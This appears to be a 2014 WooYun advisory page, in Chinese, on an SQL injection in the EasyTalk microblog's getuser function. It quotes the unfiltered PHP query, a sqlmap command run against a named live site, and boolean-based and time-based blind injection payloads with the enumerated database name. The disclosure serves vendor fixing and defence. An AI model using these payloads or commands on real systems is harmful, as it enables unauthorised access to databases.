当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
EasyTalk开源微博系统SQL注入
相关厂商:
漏洞作者:
提交时间:
2014-02-12 22:01
修复时间:
2014-05-13 22:02
公开时间:
2014-05-13 22:02
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
15
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-02-12: 细节已通知厂商并且等待厂商处理中
2014-02-12: 厂商已经确认,细节仅向厂商公开
2014-02-15: 细节向第三方安全合作伙伴开放
2014-04-08: 细节向核心白帽子及相关领域专家公开
2014-04-18: 细节向普通白帽子公开
2014-04-28: 细节向实习白帽子公开
2014-05-13: 细节向公众公开

简要描述:

搞开发的,把产品自身安全做好才是王道,而不是借助某些所谓的安全产品来帮助防御!

详细说明:

Location: Home/Lib/Action/SpaceAction.class.php
代码片段

//profile 获得用户
public function getuser() {
if ($this->my['user_name']==$_GET['user_name']) {
$user=$this->my;
} else {
//$_GET[user_name]参数未过滤,这里的$_GET[user_name],就是url上的t.nextsns.com/?user_name
$user=$this->uModel->where("user_name='$_GET[user_name]'")->find();
}
return $user;
}


虽然内置了某数字的防御系统,但还是能注出数据!

python sqlmap.py -u "http://t.nextsns.com/?fate666888*" --batch --dbs --flush-session
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 375 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://t.nextsns.com:80/?fate666888' AND 7549=7549 AND 'etdJ'='etdJ
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://t.nextsns.com:80/?fate666888' AND SLEEP(5) AND 'vvIC'='vvIC
---
back-end DBMS: MySQL 5.0.11
available databases [1]:
[*] etnew

漏洞证明:

QQ图片20140212212952.jpg

修复方案:

有效过滤!

版权声明:转载请注明来源 秋风@乌云


>

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-12 22:47

厂商回复:

以修复

最新状态:

暂无